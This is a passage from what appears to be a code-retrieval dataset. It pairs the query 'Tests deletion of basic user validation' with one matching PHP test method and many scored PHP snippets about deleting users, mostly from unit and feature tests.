{ "docid": "d3ad4acc3c67096db37bc7349f46a8dd", "score": "0.44614694", "text": "public static function hideVisibility(): bool\n {\n return config(static::$filename.'.hide_visibility', false);\n }", "title": "" }, { "docid": "e371088bd7a29ee585b155a8018676f5", "score": "0.44599682", "text": "function SetShowHideEffects(wxShowEffect $showEffect, wxShowEffect $hideEffect){}", "title": "" } ]
4d5b6caf9db20b22c4d37c59139285ec
Tests deletion of basic user validation.
[ { "docid": "ff3b99c40e5994777b8df0297c3470bb", "score": "0.8396666", "text": "public function testDeletionOfBasicUserValidation()\n {\n $user = factory(User::class)->create();\n $response = $this->json('DELETE', route('users.destroy', $user->id), []);\n $response->assertJsonMissingValidationErrors(\"user\");\n }", "title": "" } ]
[ { "docid": "cf2db94ed9566793172ac8d08c6147db", "score": "0.7934509", "text": "public function testDeleteuser()\n {\n // TODO: implement\n $this->markTestIncomplete('Not implemented');\n }", "title": "" }, { "docid": "d1b9084ca7f92e2e5e32704d0db6dc0e", "score": "0.78421104", "text": "public function testDeleteUser() {\n $oid = $this->createUser($this->minimalUserXml, false);\n $this->deleteUser($oid);\n }", "title": "" }, { "docid": "48625152f45fa2494dc47586275255df", "score": "0.7744844", "text": "public function testDeleteUser()\n {\n }", "title": "" }, { "docid": "736ada127c364b4b3bb774d9684a5205", "score": "0.7693624", "text": "public function testDelete()\n {\n\n $this->createDummyUser();\n\n $this->assertDatabaseHas('users', [\n 'id' => 1,\n ]);\n\n $this->call('POST', '/api/user', array(\n 'action' => $this->deleteAction,\n 'id' => 1,\n ));\n\n $this->assertDatabaseMissing('users', [\n 'id' => 1,\n ]);\n\n $this->assertDatabaseMissing('user_role', [\n 'user_id' => 1,\n 'role_id' => [1, 2]\n ]);\n }", "title": "" }, { "docid": "55149fe64fc96fd380a3bb232ba1e0f7", "score": "0.7678925", "text": "public function testUserDeletion(): void\n {\n $this->createInstance();\n $user = uniqid('', false);\n $mail = $user . '@laborange.fr';\n $pass = $user;\n $result = $this->fConnector->getSSO()->signup($user, $pass, $mail)->wait();\n $result2 = $this->fConnector->getSSO()->login($user, $pass, false)->wait();\n\n\n $result3 = $this->fConnector->getUserManagement()->deleteUser($result2->userId)->wait();\n\n $this->assertTrue($result3);\n\n }", "title": "" }, { "docid": "b39fb4b601754c8ec50aa8c7db2a1fe1", "score": "0.759138", "text": "public function testDelete()\n {\n $user = $this->logNewUser(new User());\n $response = ($this->delete('/profile/delete'));\n $response->assertStatus(302);\n $user->delete();\n\n }", "title": "" }, { "docid": "d9b7090dd52e1a58b30b14c38a88636f", "score": "0.75910133", "text": "public function testUserDelete()\n {\n\t\t$user = new User(array('name' => 'administrator'));\n\t\t$this->be($user);\n\n\t\t$userobj = User::orderBy('created_at', 'desc')->first();\n\n\t\t$response = $this->call('POST', '/user/delete', ['id' => $userobj->id]);\n\t}", "title": "" }, { "docid": "8530f2e5a9e224a7e8ac5461daa32a0c", "score": "0.7540252", "text": "public function test_delete_user()\n {\n $user = new User(Connection::make());\n\n //create a new user\n $dbuser = $user->createUser('[email protected]', 'Jane', 'Doe', 'password');\n\n //use the id to delete the same user\n $deleteUser = $user->deleteUser($dbuser);\n\n //make sure the deletion was successful\n $this->assertEquals(1, $deleteUser);\n }", "title": "" }, { "docid": "9c0430bbfeaea23e5a21aefe7ada6a71", "score": "0.749053", "text": "public function testDeleteUser()\n {\n $user= new User();\n $user->name = 'abcd';\n $user->email = '[email protected]';\n $user->password = '123456';\n $user->save();\n $this->assertTrue($user->delete());\n }", "title": "" }, { "docid": "64fba2a0b72f924afe399e8d89f2f826", "score": "0.7453667", "text": "public function testDeleteUser()\n { $userID = User::find(1)->id;\n $users = User::all();\n $count = count($users);\n //Test for count before delete\n $this->assertEquals(50, $count,\"Before delete\");\n $statement = \"The count before delete is \" .$count. \" . \";\n ExampleTest::validate($this,$statement);\n DB::table('users')\n ->where('id', $userID)\n ->delete();\n $newusers = User::all();\n $newcount = count($newusers);\n $this->assertEquals(49, $newcount,\"After Insert\");\n $statement = \"The count after delete is \".$newcount.\". \";\n ExampleTest::validate($this,$statement);\n }", "title": "" }, { "docid": "5453c6c5c8f524f3e7fa77940efbe35b", "score": "0.7352493", "text": "public function testCannotDeleteUserFromUser()\n\t{\n\t\t$user = \\CVS\\User::orderByRaw(\"RAND()\")->first();\n\n\t\t$this->delete('/users/' . app('Hashids')->encode($user->id))\n\t\t\t->seeStatusCode(400);\n\t}", "title": "" }, { "docid": "f2f329115a5a907a140d07662258beaa", "score": "0.72965795", "text": "public function testDeletionOfSelfValidation()\n {\n $response = $this->json('DELETE', route('users.destroy', $this->admin->id), []);\n $response->assertJsonMissingValidationErrors(\"user\");\n }", "title": "" }, { "docid": "996fa0584cef853f5a2bf5ad81f5bedd", "score": "0.7286942", "text": "public function testAdminDeleteUser() {\n $this->objFromFixture('Member', 'apiuser')->login(); //Login apiuser\n $memberToDelete=Member::get()->filter('Email', 'noaccess')->first()->ID;\n \n \n //Try deleting with a user with just CODE_BANK_API permissions\n $response=$this->getAMFResponse('Administration.deleteUser', array('id'=>$memberToDelete));\n \n \n //Verify the response was an error\n $this->assertEquals('EROR', $response['status'], 'Response status should have been EROR');\n $this->assertEquals(_t('CodeBankAPI.PERMISSION_DENINED', '_Permission Denied'), $response['message'], 'Response message should have been Permission Denied');\n \n \n //Verify the member was not deleted\n $this->assertGreaterThan(0, Member::get()->filter('Email', 'apiuser')->count(), 'Member was deleted');\n \n \n \n $this->objFromFixture('Member', 'admin')->login(); //Login admin user\n \n //Try deleting with a user with ADMIN permissions\n $response=$this->getAMFResponse('Administration.deleteUser', array('id'=>$memberToDelete));\n \n \n //Verify the response was an error\n $this->assertEquals('HELO', $response['status'], 'Response status should have not been EROR');\n \n \n //Verify the member was deleted\n $this->assertEquals(0, Member::get()->filter('Email', 'noaccess')->count(), 'Member was not deleted');\n }", "title": "" }, { "docid": "000299d823def5ec5bb1900fc7582272", "score": "0.7240437", "text": "public function deleteUserAndCheckUserExist()\n {\n $userId = self::$user->id;\n $user = User::find(self::$user->id);\n $user->destroy(self::$user->id);\n $this->dontSeeInDatabase('users', ['id' => $userId]);\n $this->assertDirectoryNotExists(storage_path('app/public/' . $userId));\n }", "title": "" }, { "docid": "af9b091ce35226df10aa447643609c72", "score": "0.7212683", "text": "public function testSuperUserCanDeleteAUser()\n {\n $response = $this->asSuperUser('POST', '/v1/users/2/delete');\n $content = json_decode($response->getContent(), true);\n\n// dd($content);\n $this->assertEquals(200, $response->getStatusCode());\n\n $this->assertTrue(array_key_exists('success', $content));\n $this->assertTrue($content['success']);\n }", "title": "" }, { "docid": "2ecc89f703b3b0ed6f1512c7873bd344", "score": "0.7183463", "text": "public function testDelete()\n {\n users::where('email', '[email protected]')->delete();\n users::where('email', '[email protected]')->delete();\n\n $this->dontSeeInDatabase('users', ['email' => '[email protected]']);\n $this->dontSeeInDatabase('users', ['email' => '[email protected]']);\n\n }", "title": "" }, { "docid": "58e09240c9bdefbbe00e392136a3c137", "score": "0.7183317", "text": "public function testNormalUserCannotDeleteUser()\n {\n $response = $this->asNormalUser('POST', '/v1/users/2/delete');\n $content = json_decode($response->getContent(), true);\n\n// dd($content);\n $this->assertEquals(401, $response->getStatusCode());\n $this->assertTrue(head($content) == 'Unauthorized.');\n }", "title": "" }, { "docid": "8006523106c25cd41cc91111b12342a6", "score": "0.71546334", "text": "public function testDeleteUserTemplate()\n {\n }", "title": "" }, { "docid": "1b37669d06d3dcd3aad4248be22afb61", "score": "0.7124831", "text": "public function testUserCanDeleteHimself()\n {\n $user = factory(\\App\\User::class)->create();\n $ownerRole = $this->getOwnerRole();\n $user->assignRole($ownerRole);\n $token = $this->getTokenForUser($user, \"abcdefgh1\");\n $response = $this->json('GET', '/api/profile/delete-user', [], [\n 'Authentication' => 'Bearer ' . $token\n ]);\n $response->assertStatus(200);\n }", "title": "" }, { "docid": "2692b26adfbf5c16069ccc4ad6c0eb35", "score": "0.7112744", "text": "public function test_destroy_user_not_found()\n {\n $this->user_not_found_test('/api/v1/users/1', 'delete');\n }", "title": "" }, { "docid": "d918e866aeec989ff57081063279b152", "score": "0.70847666", "text": "public function testUserCanNotDeleteUser(): void\n {\n $items = User::factory()->count(1)->create();\n\n Livewire::actingAs(User::factory()->create())\n ->test(UsersTable::class, ['items' => $items])\n ->emit('delete', $items[0]->id)\n ->assertForbidden();\n\n $this->assertModelExists($items[0]);\n }", "title": "" }, { "docid": "b1e84b1fea8646ee9731194b3c0e84bd", "score": "0.7072691", "text": "public function testAdministratorCanDeleteUser(): void\n {\n $items = User::factory()->count(1)->create();\n\n Livewire::actingAs(User::factory()->admin()->create())\n ->test(UsersTable::class, ['items' => $items])\n ->emit('delete', $items[0]->id)\n ->assertOk()\n ->assertDispatchedBrowserEvent('notify', function ($name, $data) {\n return data_get($data, 'level') === 'success';\n });\n\n $this->assertModelMissing($items[0]);\n }", "title": "" }, { "docid": "9b03fb5859f76aaedb54e58d33468ded", "score": "0.70546675", "text": "public function testDeleteCloudUser()\n {\n // TODO: implement\n $this->markTestIncomplete('Not implemented');\n }", "title": "" }, { "docid": "bf5e495b27abdca584118c933a376f6f", "score": "0.7049053", "text": "public function deleteUser()\n {\n //body\n }", "title": "" }, { "docid": "8445693bf1f67f2a268f9128f9f8f50d", "score": "0.7044175", "text": "function repository_user_delete() {\n if (!$this->request->isAsyncCall()) {\n $this->httpError(HTTP_BAD_REQUEST, null, true);\n } // if\n \n if (!$this->request->isSubmitted()) {\n $this->httpError(HTTP_BAD_REQUEST, null, true);\n } // if\n \n $repository_user = array_var($_POST, 'repository_user');\n $source_user = SourceUsers::findByRepositoryUser($repository_user, $this->active_repository->getId());\n if (!instance_of($source_user, 'SourceUser')) {\n die('false');\n } // if\n \n $deleted = $source_user->delete();\n if ($deleted && !is_error($deleted)) {\n die('true');\n }\n \n }", "title": "" }, { "docid": "1241f39cefa088bc3b489f4056e001c8", "score": "0.7014829", "text": "private function userDelete() {\n\t\tif( ($iUserID = $this->oInput->get('delete', 0)) < 1) {\n\t\t\tthrow new CoreException('Invalid User ID: ' . $iUserID);\n\t\t}\n\n\t\tif( ($iSchoolID = $this->oInput->get('schoolid', 0)) < 1) {\n\t\t\tthrow new CoreException('Invalid School ID: ' . $iSchoolID);\n\t\t}\n\n\t\t$oUser = new APP_Model_User();\n\t\t$oUser->delete($iUserID);\n\t\t$oDept = new APP_Model_School_Department();\n\t\t$oDept->delRecord('user_id', $iUserID);\n\t\t$this->setFlashMessage('User successfully deleted.');\n\t\t$this->redirect('admin/user/list/schoolid/' . $iSchoolID);\n\t}", "title": "" }, { "docid": "bfdb75d34f6260769b11edb567fe05c3", "score": "0.69954765", "text": "public function testCanBeDeleteAndNotSeeInDB()\n {\n $user = $this->createUser();\n $data = ['name' => $user->name, 'email' => $user->email, 'avatar' => $user->avatar];\n\n $this->delete('/api/users/'.$user->id, ['X-Authorization' => $user->apiKey->key])->notSeeInDatabase('users', $data);\n $this->get('/api/users')->dontSeeJson($data)->seeStatusCode(200);\n }", "title": "" }, { "docid": "2acebb4fb5944a66829380eb29e60c09", "score": "0.69937456", "text": "public function testDeleteAccount()\n {\n $this->setExpectedException('Exception');\n\n Tinebase_User::getInstance()->deleteUser($this->objects['initialAccount']);\n\n $account = Tinebase_User::getInstance()->getUserById($this->objects['initialAccount'], 'Tinebase_Model_FullUser');\n }", "title": "" }, { "docid": "204238d6f3cc6971af9bcc456a2caadc", "score": "0.6993213", "text": "public function testUserDestroy()\n {\n $user = factory(User::class)->create();\n $response = $this\n ->actingAs($user)\n ->call('delete', '/users/'.$user->id);\n $response->assertRedirect('/')->assertSessionHas('successes');\n $user = User::withTrashed()->find($user->id);\n $this->assertNotNull($user->deleted_at);\n }", "title": "" }, { "docid": "6f545bb5ae921a3657f786d7d7247911", "score": "0.6985414", "text": "public function test_user_repository_delete()\n {\n $user = User::factory()->create();\n $this->app->get(UserRepository::class)->delete($user);\n $this->assertDatabaseMissing(\"users\", [\"id\" => $user->id]);\n }", "title": "" }, { "docid": "718bb03736fa075032d2ec76cb2b6ef9", "score": "0.69437814", "text": "function test_delete_normal()\n {\n //assert delete does not return false\n $result = my_sql::delete(\"useraccount\", \"userEmail = :0\", array(\"[email protected]\"));\n $this->assertNotEquals(false, $result);\n\n //assert validity of deletion\n $values = my_sql::select(\"*\", \"useraccount\", \"userEmail=:0\", array(\"[email protected]\"));\n $this->assertEquals(count($values), 0);\n }", "title": "" }, { "docid": "80ca77421f65c784203273fb620028d2", "score": "0.68885964", "text": "public function testDeleteWontEffectOtherUserWithSameRole()\n {\n\n $this->createDummyUser(\"1\");\n $this->createDummyUser(\"2\");\n\n $this->call('POST', '/api/user', array(\n 'action' => $this->deleteAction,\n 'id' => 1,\n ));\n\n $this->assertDatabaseMissing('users', [\n 'id' => 1,\n 'name' => $this->testName . \"1\",\n 'username' => $this->testUsername . \"1\"\n ]);\n\n $this->assertDatabaseHas('users', [\n 'id' => 2,\n 'name' => $this->testName . \"2\",\n 'username' => $this->testUsername . \"2\"\n ]);\n\n $this->assertDatabaseMissing('user_role', [\n 'user_id' => 1,\n 'role_id' => 1,\n ]);\n\n $this->assertDatabaseHas('user_role', [\n 'user_id' => 2,\n 'role_id' => 1,\n ]);\n }", "title": "" }, { "docid": "ec71b483bb63b2d5c36a164b684abd26", "score": "0.6884962", "text": "public function deleteUser ()\n {\n $rights = \\Factory::getRights();\n\n if ($rights->hasRight(\"admin_delete_user\")) {\n /**\n * Test damit nicht der GastAccount bearbeitet werden kann\n */\n $user_dao = new UserModel();\n\n if (isset($_POST[\"userid\"]) and $user_dao->isGuestAccount($_POST[\"userid\"]) === false ) {\n $user_id = (int) $_POST[\"userid\"];\n\n $user = new UserModel();\n $user->deleteUser($user_id);\n }\n } else {\n echo $this->lang->translate(\"INSUFFICIENT_RIGHTS\");\n }\n }", "title": "" }, { "docid": "1a67204e79a1d01e770de0102985f32f", "score": "0.68780845", "text": "public function testDelete() {\n $testUser = new User();\n $testUser->setUsername('testUser');\n $testUser->create();\n\n // Create a test admin\n $testAdmin = new User();\n $testAdmin->setUsername('testAdmin');\n $testAdmin->create();\n\n // Create a test merit\n $testMerit = new Merit();\n $testMerit->setUserID($testUser->getID());\n $testMerit->setAdminID($testAdmin->getID());\n $testMerit->setValue(1);\n $testMerit->setReason('test');\n $testMerit->setTimestamp(123);\n $testMerit->create();\n\n // Store the id\n $id = $testMerit->getID();\n\n // Delete it\n $testMerit->delete();\n\n // Check its gone\n $stmt = $this->_connection->prepare(\"SELECT `MeritID` FROM `Merits` WHERE `MeritID`=?\");\n $stmt->bind_param('i', $id);\n $stmt->execute();\n\n // Check there are no results\n $this->assertEquals(0, $stmt->num_rows);\n\n $stmt->close();\n\n // Clean up\n $testUser->delete();\n $testAdmin->delete();\n }", "title": "" }, { "docid": "edfddbea07d4c86c2342ed1cf7bb3b8e", "score": "0.6858767", "text": "public function testDeleteAccounts()\n {\n $this->setExpectedException('Exception');\n \n $todelete = array ( 10, 11 );\n\n Tinebase_User::getInstance()->deleteUsers( $todelete );\n\n $account = Tinebase_User::getInstance()->getUserById($this->objects['deleteAccount'], 'Tinebase_Model_FullUser');\n }", "title": "" }, { "docid": "012b94f071afffc32705e933a8b7790d", "score": "0.68563294", "text": "public function testUserDeletionRejectedForUser()\n {\n $user = factory(User::class)->create();\n $response = $this->json('DELETE', route('users.destroy', $user->id), []);\n $response->assertStatus(Response::HTTP_FORBIDDEN);\n }", "title": "" }, { "docid": "3f39c129e1beefb008a987adc18c60c1", "score": "0.6828284", "text": "public function testDeleteAction()\n {\n $usertodoRepo = self::$container->get(UsertodoRepository::class);\n\n $testManager = $usertodoRepo->findOneByUsername('manager');\n\n $this->client->loginUser($testManager);\n\n $this->client->request('GET', '/users/3/delete');\n\n $this->assertSame(302, $this->client->getResponse()->getStatusCode());\n\n $this->client->followRedirect();\n\n $this->assertSame(200, $this->client->getResponse()->getStatusCode());\n\n }", "title": "" }, { "docid": "3defafb1fda1b949cc4e9dc8054311c5", "score": "0.6822814", "text": "public function testPassword()\n {\n $user = $this->logNewUser(new User());\n $response = $this->get('/profile/password');\n $response->assertSee('Borrar Cuenta');\n $user->delete();\n\n }", "title": "" }, { "docid": "c8790c3998ac41c4facebed718eb5cf9", "score": "0.68149555", "text": "function user_remove_delete()\n {\n /* ID Value Check */\n $id = $this->delete('id');\n if(empty($id)) {\n $response = $this->response_failed();\n } else {\n /* Delete User Data */\n $process = $this->home_model->delete_user($id);\n\n /* Response */\n $response = $this->response_success();\n $response['message'] = 'Delete Success';\n if(!$process) {\n $response = $this->response_failed();\n }\n }\n $this->response($response);\n }", "title": "" }, { "docid": "4490231834942128343dca844e740a0b", "score": "0.6808984", "text": "public function tearDown() {\n User::find($this->user_id)->delete();\n }", "title": "" }, { "docid": "4d070774278a10af033424e932c16fe6", "score": "0.6808718", "text": "public function testCanDeleteUserFromOrganizer()\n\t{\n\t\t$organizer = factory(\\CVS\\User::class)->create([\n\t\t\t'organizer' => true\n\t\t]);\n\n\t\t$token = JWTAuth::fromUser($organizer);\n\n\t\t$user = \\CVS\\User::where('organizer', false)->first();\n\n\t\t$this->delete('/users/' . app('Hashids')->encode($user->id), [], ['HTTP_AUTHORIZATION' => \"Bearer $token\"])\n\t\t\t->seeStatusCode(200);\n\t}", "title": "" }, { "docid": "4ae76f1737b8c6b043934d53b5b003df", "score": "0.6794032", "text": "public function deleteUser() {\n $errors = $this->checkIsValidForDelete();\n if($errors === false){\n $this->deleteDirPhoto($this->email);\n $sql = \"DELETE FROM `SM_USER` WHERE sm_email ='$this->email'\";\n if (!($resultado = $this->mysqli->query($sql))) {\n return 'Error in the query on the database';\n } else {\n return true;\n }\n } else {\n return $errors;;\n }\n }", "title": "" }, { "docid": "6f8ef853414fad08c9b82442196a9ed8", "score": "0.6789252", "text": "public function testMePleaseDelete()\n {\n }", "title": "" }, { "docid": "b165a9c04306786e88ac3815afadbc46", "score": "0.67845", "text": "public function testDeleteAction()\n {\n Store_Config::override('Feature_OAuthLogin', true);\n\n // set up some users\n $repo = $this->createRepository();\n $baconId = $repo->create(array('uid' => 1, 'useremail' => '[email protected]', 'username' => '[email protected]', 'permissions' => array(AUTH_Manage_Users)));\n $fooId = $repo->create(array('uid' => 2, 'useremail' => '[email protected]', 'username' => '[email protected]', 'permissions' => array(AUTH_Manage_Users)));\n\n // setup controller\n $request = new Interspire_Request(null, array(\n 'users' => array($baconId, $fooId),\n ), null, array_merge($_SERVER, array('REQUEST_METHOD' => 'POST')));\n $controller = $this->createController($request);\n\n // fire up\n $controller->deleteAction();\n\n // fire up\n $resp = $controller->indexAction();\n\n $this->assertNotEmpty($resp['users']);\n $this->assertEquals(1, $resp['users']->count()); // 1 with admin user\n }", "title": "" }, { "docid": "6309005a3f120ada9a14b2757eed48d8", "score": "0.6759602", "text": "public function delete()\n\t{\n\t\t// make sure a user id is set\n\t\tif (empty($this->user))\n\t\t{\n\t\t\tthrow new SentryUserException(__('sentry::sentry.no_user_selected_to_delete'));\n\t\t}\n\n\t\ttry\n\t\t{\n\t\t\tDB::connection($this->db_instance)->pdo->beginTransaction();\n\n\t\t\t// delete users groups\n\t\t\t$delete_user_groups = DB::connection($this->db_instance)\n\t\t\t\t->table($this->table_usergroups)\n\t\t\t\t->where('user_id', '=', $this->user['id'])\n\t\t\t\t->delete();\n\n\t\t\t// delete users metadata\n\t\t\t$delete_user_metadata = DB::connection($this->db_instance)\n\t\t\t\t->table($this->table_metadata)\n\t\t\t\t->where('user_id', '=', $this->user['id'])\n\t\t\t\t->delete();\n\n\t\t\t// delete user from database\n\t\t\t$delete_user = DB::connection($this->db_instance)\n\t\t\t\t->table($this->table)\n\t\t\t\t->where('id', '=', $this->user['id'])\n\t\t\t\t->delete();\n\n\t\t\tDB::connection($this->db_instance)->pdo->commit();\n\t\t}\n\t\tcatch(Database_Exception $e) {\n\n\t\t\tDB::connection($this->db_instance)->pdo->rollBack();\n\t\t\treturn false;\n\t\t}\n\n\t\t// update user to null\n\t\t$this->user = array();\n\t\t$this->passwords = array();\n\n\t\treturn true;\n\n\t}", "title": "" }, { "docid": "b4e5612ff228f26d6627eb06d0c95641", "score": "0.67493755", "text": "public function deleteUser(){\n\t\tAuth::handleAdminLogin();\n\t\t$data['user_id'] = $_POST['user_id'];\n\t\t$this -> model -> deleteUser($data);\n\t}", "title": "" }, { "docid": "42f51db0a51c0dfee0d299ac678f172c", "score": "0.67471004", "text": "public function test_user_profile_can_be_deleted_by_admin()\n {\n $this->withoutExceptionHandling();\n\n $user = User::factory()->create();\n $admin = User::factory()->create(['isAdmin'=>true]);\n\n $this->assertCount(2, User::all());\n \n $this->actingAs($admin);\n \n $response = $this->delete(route('destroyUsers', $user->id));\n\n $response->assertRedirect('/');\n $this->assertCount(1, User::all());\n\n $this->actingAs($user);\n\n $user = User::factory()->create();\n \n $response = $this->delete(route('destroyUsers', $user->id));\n\n $response->assertRedirect('/');\n $this->assertCount(2, User::all());\n }", "title": "" }, { "docid": "d1ef598ce8c82ffd35ea42e982cd9942", "score": "0.67414886", "text": "public function testDeletingEntity()\n {\n $repo = $this->dataRepositoryProvider(User::class);\n $user = $this->userProdiver();\n $repo->save($user);\n $this->assertTrue($repo->delete(1));\n }", "title": "" }, { "docid": "6ac5bf91253c3c459cb94d59ba889e1b", "score": "0.6739372", "text": "public function deleteUser (){\n $this->load->model('admin_querys');\n $this->admin_querys->userDeleting($_POST);\n }", "title": "" }, { "docid": "f86cf16674e577fbd1893d36349d886f", "score": "0.6737204", "text": "function delete_user($username, $dt){\n\t\t\n\t\t/* connect to db */\n\t\t$con = new mysqli('localhost','root','applechair','test');\n\t\tif($con->connect_error){\n\t\t\texit(\"Database connection failed\");\n\t\t}\n\n\t\t/* if user is admin, deny */\n\t\tif ($username == \"admin\"){\n\t\t\texit(\"Please don't do that.\");\n\t\t}\n\n\t\t/* prepare statement for deleting user */\n\t\t$target = $con->prepare(\"DELETE FROM Users WHERE username = ?\");\n\t\t$target->bind_param(\"s\", $username);\n\t\t$target->execute();\n\t\t$target->close();\n\n\t\tif ($dt){\n\t\t\t/* prepare statement for deleting user tests */\n\t\t\t$tests = $con->prepare(\"DELETE FROM Tests WHERE TestCreator = ?\");\n\t\t\t$tests->bind_param(\"s\", $username);\n\t\t\t$tests->execute();\n\t\t\t$tests->close();\n\t\t}\n\t}", "title": "" }, { "docid": "02447e58d840c4aafb22ae263ffa2f58", "score": "0.67315143", "text": "public function testAdministratorCanDeleteOwnAccount(): void\n {\n $items = User::factory()->count(1)->create();\n\n Livewire::actingAs($items[0])\n ->test(UsersTable::class, ['items' => $items])\n ->emit('delete', $items[0]->id)\n ->assertForbidden();\n\n $this->assertModelExists($items[0]);\n }", "title": "" }, { "docid": "302f6845b1f0ff8dd88ec02a86687e26", "score": "0.6725814", "text": "public function testDeleteUserException() {\n try {\n $illegal = array('%', '-', '.');\n $this->userManagementDao->deleteUser($illegal);\n } catch (Exception $ex) {\n return;\n }\n $this->fail('An expected exception has not been raised.');\n }", "title": "" }, { "docid": "1d88b0d1f95f49241feed12aedcbbc58", "score": "0.6720772", "text": "public function testOnlyAdminCantDeleteHimself()\n {\n $user = User::query()->where('email', 'LIKE', '[email protected]')->first();\n $token = $this->getTokenForUser($user, \"abcdefgh1\");\n $this->assertTrue(true);\n $response = $this->json('GET', '/api/profile/delete-user', [], [\n 'Authentication' => 'Bearer ' . $token\n ]);\n $response->assertStatus(403);\n }", "title": "" }, { "docid": "aad1246ef15548dd4e4a60ad3d4c230d", "score": "0.6719048", "text": "public function test_destroy_user_delete_error()\n {\n $this->userMock\n ->shouldReceive('find')\n ->once()\n ->andReturn($this->userMock)\n ->shouldReceive('delete')\n ->once()\n ->andReturn(FALSE);\n\n $expectedResponse = [\n 'code' => 400,\n 'status' => 'Bad Request',\n 'message' => 'Could not delete this user.',\n 'response' => false\n ];\n\n $this->json('DELETE', '/api/v1/users/321')\n ->seeJsonEquals($expectedResponse);\n }", "title": "" }, { "docid": "dcb1ae020a42600981d96f9ef09f520e", "score": "0.67140025", "text": "public function tearDown(): void\n {\n // delete user\n $user = User::where('email', self::$user['email'])->first();\n\n if ($user) {\n $user->delete();\n }\n\n parent::tearDown();\n }", "title": "" }, { "docid": "108ff3c7316bfa694e8b75af329ad635", "score": "0.6713398", "text": "public function testUserDestroyAdminUser()\n {\n $user = factory(User::class)->create();\n $otherUser = factory(User::class)->create();\n $otherUser->admin = true;\n $otherUser->save();\n $response = $this\n ->actingAs($otherUser)\n ->call('delete', '/users/'.$user->id);\n $response->assertRedirect('/')->assertSessionHas('successes');\n }", "title": "" }, { "docid": "c5ca19511473326b0ea14cfe76ee3957", "score": "0.6696501", "text": "public function testDeleteWontEffectOtherUserWithSameGroup()\n {\n\n $this->createDummyUser(\"1\");\n $this->createDummyUser(\"2\");\n\n $this->call('POST', '/api/user', array(\n 'action' => $this->deleteAction,\n 'id' => 1,\n ));\n\n $this->assertDatabaseMissing('users', [\n 'id' => 1,\n 'name' => $this->testName . \"1\",\n 'username' => $this->testUsername . \"1\"\n ]);\n\n $this->assertDatabaseHas('users', [\n 'id' => 2,\n 'name' => $this->testName . \"2\",\n 'username' => $this->testUsername . \"2\"\n ]);\n\n $this->assertDatabaseMissing('user_group', [\n 'user_id' => 1,\n 'group_id' => 1,\n ]);\n\n $this->assertDatabaseHas('user_group', [\n 'user_id' => 2,\n 'group_id' => 1,\n ]);\n }", "title": "" }, { "docid": "9848a4a5617fed60f171d4d7e40fe355", "score": "0.6686858", "text": "public function testDeleteProjectUser()\n {\n // TODO: implement\n $this->markTestIncomplete('Not implemented');\n }", "title": "" }, { "docid": "fabb11bedc65ed703f3b8d8ca7e5313a", "score": "0.6670742", "text": "public function testDelete()\n {\n $userId = 76653;\n $this->assertNotNull($customer = Customers::findOne($userId));\n $this->assertFalse($customer->isDeleted());\n $this->assertTrue($customer->delete());\n\n # просто так теперь не найден\n $this->assertNull(Customers::findOne($userId));\n $this->assertNull(Customers::find()->where(['id' => $userId])->one());\n $this->assertNotNull($customer = Customers::find(true)->where(['id' => $userId])->one());\n $this->assertTrue($customer->isDeleted());\n\n $this->assertTrue($customer->delete(true)); # force delete\n $this->assertNull(Customers::find()->where(['id' => $userId])->one());\n $this->assertNull(Customers::find(true)->where(['id' => $userId])->one());\n }", "title": "" }, { "docid": "f7542bee4ec3f9b463ea0c81bdd5182a", "score": "0.66558886", "text": "public function testDeletionOfLenderValidation()\n {\n $user = factory(User::class)->state('lender')->create();\n $response = $this->json('DELETE', route('users.destroy', $user->id), []);\n $response->assertJsonMissingValidationErrors(\"user\");\n }", "title": "" }, { "docid": "73f2773882ae42dd0960418639526332", "score": "0.665398", "text": "function deleteUser()\n\t{\n\t\t$this->isAdmin();\n\t\t$usersRepository= new UsersRepository();\n\t\t$user= $usersRepository->getUser($_GET['id']);\n\t\t$usersRepository->deleteUser($user);\n\t\t$this->redirect('index.php?action=UsersController-displayAllUsers');\n\t}", "title": "" }, { "docid": "88a5214f20ceae6ed8ad5049e0aa36c5", "score": "0.6647033", "text": "public function deleteUser($user);", "title": "" }, { "docid": "c8c2a3ecf1078121eb0f86d17272be02", "score": "0.6639575", "text": "public function testUserDestroyOtherUser()\n {\n $user = factory(User::class)->create();\n $otherUser = factory(User::class)->create();\n $response = $this\n ->actingAs($otherUser)\n ->call('delete', '/users/'.$user->id);\n $response->assertStatus(403);\n }", "title": "" }, { "docid": "40f5bd7480ab124e8983581764bb10a0", "score": "0.6617105", "text": "public function deleteUser(){\n // $logger = new Logger();\n // $logger->log(\"User Created:\");\n $this->logger->log();\n }", "title": "" }, { "docid": "7aab8961229556458e095ce81cde9f09", "score": "0.660846", "text": "public function testLogin()\n {\n\n $user = $this->logNewUser(new User());\n $userId = $user->id;\n $response = $this->get('/user/login');\n $assert = Login::where(['user_id' => $userId])->first();\n $this->assertTrue(isset($assert));\n $user->delete();\n\n }", "title": "" }, { "docid": "6eeaefdfb95b03adeb4a93a075333168", "score": "0.6606471", "text": "public function deleteUser(string $username): bool;", "title": "" }, { "docid": "a31505b661051f589093f76b77205fe0", "score": "0.6592072", "text": "public function testDeleteUrlApi() {\n \t//create imput data\n \t$id = rand();\n \t$input = ['id' => $id];\n \t\n \t//insert user\n \t$response = $this->json('POST', '/users', $input);\n \t\n \t //delete user\n \t$response = $this->json('DELETE', sprintf('/user/%s', $id), []);\n \t\n \t//check response\n \t$response->assertStatus(200); \t \t\n }", "title": "" }, { "docid": "70e137dca1841aa34ffa726752465283", "score": "0.6556709", "text": "public function testDropUser() {\n\t\t$this->assertEmpty($this->db->fetchAll(\"SELECT USER FROM mysql.user WHERE User='user_name_drop'\", false));\n\t\t// create user\n\t\t$this->MySQL->createUser('user_name_drop', 'password');\n\t\t$this->assertNotEmpty($this->db->fetchAll(\"SELECT USER FROM mysql.user WHERE User='user_name_drop'\", false));\n\t\t// drop user\n\t\t$this->MySQL->dropUser('user_name_drop');\n\t\t$this->assertEmpty($this->db->fetchAll(\"SELECT USER FROM mysql.user WHERE User='user_name_drop'\", false));\n\t}", "title": "" }, { "docid": "3d08cae5367f5036d23c7225f8ac2757", "score": "0.65493274", "text": "public function testDelete()\n\t{\n\t\t$this->be(User::first());\n\t\t\n\t\t$this->runStore($this->input);\n\t\t$patientSaved = Patient::orderBy('id','desc')->take(1)->get()->toArray();\n\n\t\t$patient = new PatientController;\n \t$patient->delete($patientSaved[0]['id']);\n\t\t$patientsDeleted = Patient::withTrashed()->find($patientSaved[0]['id']);\n\t\t$this->assertNotNull($patientsDeleted->deleted_at);\n\t}", "title": "" }, { "docid": "c94a8cd5d1733dc50c15a45d6ef40e10", "score": "0.65486026", "text": "public function 